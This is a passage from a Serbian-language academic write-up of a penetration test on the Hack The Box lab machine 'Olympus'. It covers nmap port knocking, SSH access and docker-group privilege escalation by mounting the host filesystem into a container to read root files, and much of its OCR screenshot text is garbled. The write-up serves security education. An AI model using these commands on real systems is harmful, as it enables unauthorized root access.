su 3256, 8234, 62431. Preko tih portova pokuSavamo da otvorimo port 22 sa imenom
prometheus@10.10.10.83. Port knocking je metod koji se ponavljati par puta dok jedan od tih
zapravo ne otvori trazeni port. Na slici 29 je prikazan metod port knocking.
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mailto:prometheus@10.10.10.83

/dns# nmap -Pn --max-retries=@ --scan-delay=.2 -p 3456,8234,62431 10.10.10.83; ssh prometheus@l0.10.10.83
/nmap.org ) at 2018-09-16 18:13 EDT

Nmap scan report for 10.10.10.83

Host is up (8.019s latency).

STATE SERVICE

closed vat

closed unknown
62431/tcp closed unknown

Nmap done: 1 IP address (1 host up) scanned in ©0.75 seconds
prometheus@lf.10.10.83's password:

L+
el c[ome to

prometheus@olympus:~$ I

Slika 29: Port Knocking preko alata nmap

Dakle, -Pn u nmap alatu znaci da ne radimo icmp pingove, max-retries=0 oznacava da
ne zelimo da nam skener ponavlja bilo kakve akcije, za date portove i ip adresu.

Sa uspesno ostavarenim pristupom prometheus domain-u mozemo nastaviti sa
izlistavanjem sadrzaja. lzlistavanjem primecujemo da vise nismo u dockerenv, odnosno
docker okruzenju. Na slici 30 prikazane su komande za adresu, i traZzenjem adrese vidimo da
komanda nije pronadena ali sa komandom ip addr zapravo dobijamo informacije da se radi o
korisniku kog smo trazili, takode sve adrese za docker su izlistane.

prometheus@olympus:~$ ifconfig
-bash: ifconfig: command not found
prometheus@olympus:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
: enp@s3: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast state UNKNOWN group default qlen 1000
link/ether 00:50:56:a2:51:48 brd ff:ff:ff:f f:ff
inet 10.10.10.83/24 brd 10.10.10.255 scope global enpOs3
valid_lft forever preferred_lft forever
: br-2668d8e07649: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:93:¢5:94:00 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-2668d8e07649
valid_lft forever preferred_lft forever
: br-c8834ba5f981: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 gdisc noqueue state UP group default
link/ether 02:42:47:f7:82:f1 brd ff:ff:ff:ff:ff:ff
inet 172.20.0.1/16 brd 172.20.255.255 scope global br-c8834ba5f981
valid_lft forever preferred_lft forever
: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:d6:29:1c:7a brd ff:ff:ffsff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker®
valid 1ft forever preferred 1ft forever
: br-ba8ad598ebee: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 gdisc noqueue state UP group default
link/ether 02:42:a5:ca:ad:eb brd ff:ff:ff:ff:ff:ff
inet 172.19.0.1/16 brd 172.19.255.255 scope global br-0a8ad598ebee
valid 1ft forever preferred 1ft forever
8: veth584fcb2@if7: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc noqueue master br-2668d8e07649 state UP group default
link/ether 0a:7a:b4:9a:4f:f6 brd ff:ff:ff:ff:ff:ff link-netnsid 1
10: veth88lca2b@if9: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc noqueue master br-0a8ad598ebee state UP group default
link/ether 82:bf:20:b :da brd ff:ff:ff:ff:ff:ff link-netnsid 2
12: veth948430c@ifll: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc noqueue master br-c8834ba5f981 state UP group default
link/ether e2:50:a2:24:ca:25 brd ff:ff:ff:ff:ff:ff link-netnsid 0
prometheus@lympus:~$ [i

Slika 30: Zlistavanje sadrzaja prometheus domaina

3.8 Privilege Escalation napad

Posto smo do sada uvideli viSe puta da Olympus kutija koristi Docker kao svoje
okruZenje, sada mozemo da probamo da eksploatisemo to. Sam Privilege Escalation napad
znaci da obican korisnik moze sebi da podesi vece privilegije kao Sto su privilegije root
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korisnika. Svi docker kontejneri (containers) dele kernel resurse, i svi imaju svoj poseban
UID, odnosno user id. Kako bismo sproveli Privilege Escalation napad, potrebno je da na$
operativni sistem gde imamo root ovlaséenja pripojimo tom docker kontejneru gde ¢e dobiti
svoj UID i omoguciti nam root preko diska. Nacin na koji je moguce eksploatisati tu
informaciju je da prvo proverimo dostupne grupe dok smo na prometheus host-u.

prometheus@olympus:~$ docker container 1s
CONTAINER ID IMAGE CREATED STATUS 5 NAMES

5 crete -entrypoi.” 5 months ago Up 2 hours 0.0 crete
rodhes 5 months ago Up 2 hours g -3 D, 0.0.0.0:53->53/udp  rhodes
olympia /55 5 months ago Up 2 hours 0.0 2 olympia

Slika 31: Izlistavanje svih docker kontejnera

Prvo ¢emo pokuSati da udemo na Olympia kontejner, koji je SSH server. Nacin
pristupanja tom kontejneru je prikazano na slici 31. Dakle pokrecemo docker kontejner
olympia sa svim mogucénostima koje dati kontejner moze pruziti, opdnosno sa root
privilegijama. Na isti na¢in mozemo pristupiti i Rodhes kentejneru, koji je DNS server, kao i
bilo kom drugom kontejneru u ovom Kutiji.

media mnt opt proc root run sbhbin srv sys

roo t.:I;dBfS-'lZf%S ‘home/icarus# l

Slika 32: Pristup Olympia kontejneru

Ovim napadom smo dobili root privilegije nad ovom kutijom, i potencijalni napadi
dalje mogu biti raznovrsni. Za poc¢etak moZemo menjati sam sadrzaj svih kontejnera, mozemo
dodavati novi kao i brisati ve¢ postoje¢i sadrzaj. Takode mozemo vrsiti DOS napad,
eksploatisati kernel i sli¢no. Za ovaj rad demonstriratu komandu: ,, --volume , -v Bind mount
a volume®“. U docker okruZenju postoje dva nacina da se saCuvaju odredeni fajlovi u
napravljene kontejnere, a to su Volume i Bind Mounts.

Volume se smestaju u filesystem na host-u kojim docker upravlja, dok Bind mounts
moze biti smesten bilo gde na sistemu. Zbog toga S$to odredeni fajlovi mogu biti smesteni bilo
gde preko Bind mount-a, na slici 31 je prikazan primer kako se na Olymia kontejneru smespta
li¢no napravljen sadrzaj. Bind mount komanda omogucava upravo to da se kreirau fajépvo
koji nisu postojali na Docker host-u. Ovime je pen testiranje Olympus kutije zavrsen.

~$ docker run -v /:/mnt/PleaseSubscribe -ti olympia bash
# cd /mnt

vmlinuz
vmlinuz.old

root@d491bced
root. txt
root@e491bced912e:/mnt/P
33 root.txt
scribe/root# cd ..
scribe# cat etc/hosts
local
ol¥mpus

# The following lines are desirable for IPv6 capable hosts
il Localhost ip6-localhost ip6-loopback
f102::1 ip6-allnodes

ip6-allrouters

root@d491bced9lze: /mnt/PleaseSubscribe# l

Slika 33: Primer Bind mount a volume
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4. Zakljucak

Eticko hakovanje ili pen testiranje je veoma efikasan metod za analiziranje
bezbednosti odredenog sistema, proveru bezbednosnih rizika i1 izveStavanje kompanija o
sveobuhvatnom stanju bezbednosti njihovih sistema. Za vreme testiranja, razli¢iti setovi alata
mogu da se koriste za razliite delove sistema, i na osnovu toga se piSe celokupan izvestaj o
svim pronadenim bezbednosnim slabostima.

U ovom radu je odraden test probojnosti na jednom od servera, dostupnih na sajtu
www.hackthebox.eu, pod imemom Olympus. Hack the box kao online platforma, koja
omogucava sticanje i usavrSavanje veStina testiranja probojnosti, je hostovala Olympus
masinu koja je u sebi imala ugradene slabosti. Te slabosti su otkrivene koris¢enjem niza alata
koji su u radu detaljno opisani, zajedno sa obrazlozenjima datih postupaka. Neke od vecih
slabosti na koje veb programeri treba da obrate paznju, kada je u pitanju bezbednost njihovih
servera i aplikacija, jesu upravo okruzenje koje koriste. Pored okruzenja koje je u ovom
slucaju bio docker treba se obratiti paznja na sve portove, smanjiti broj dostupnih informacija
preko interneta, posebno o koris¢enim servisima. Olympus server predstavlja simulaciju veb
servera sa odredenim slabostima, ali te slabosti se neretko mogu sretati i u praksi, pa je zbog
toga jako bitno skrenuti paznju na sajber bezbednost i rizik koje nosi odsustvo iste.

Sa svakodnevnim porastom zlonamernih programa i virusa na internetu, jako je bitno
povecati sveopStu svest o bezbednosti. Danasnji napadi na sajber prostor ne dolaze samo
preko tehnologije i mreznih protokola, ve¢ se koriste i najslabije karike u svim sistemima, a to
su ljudi i informacije koje oni, svesno ili ne, mogu dati.
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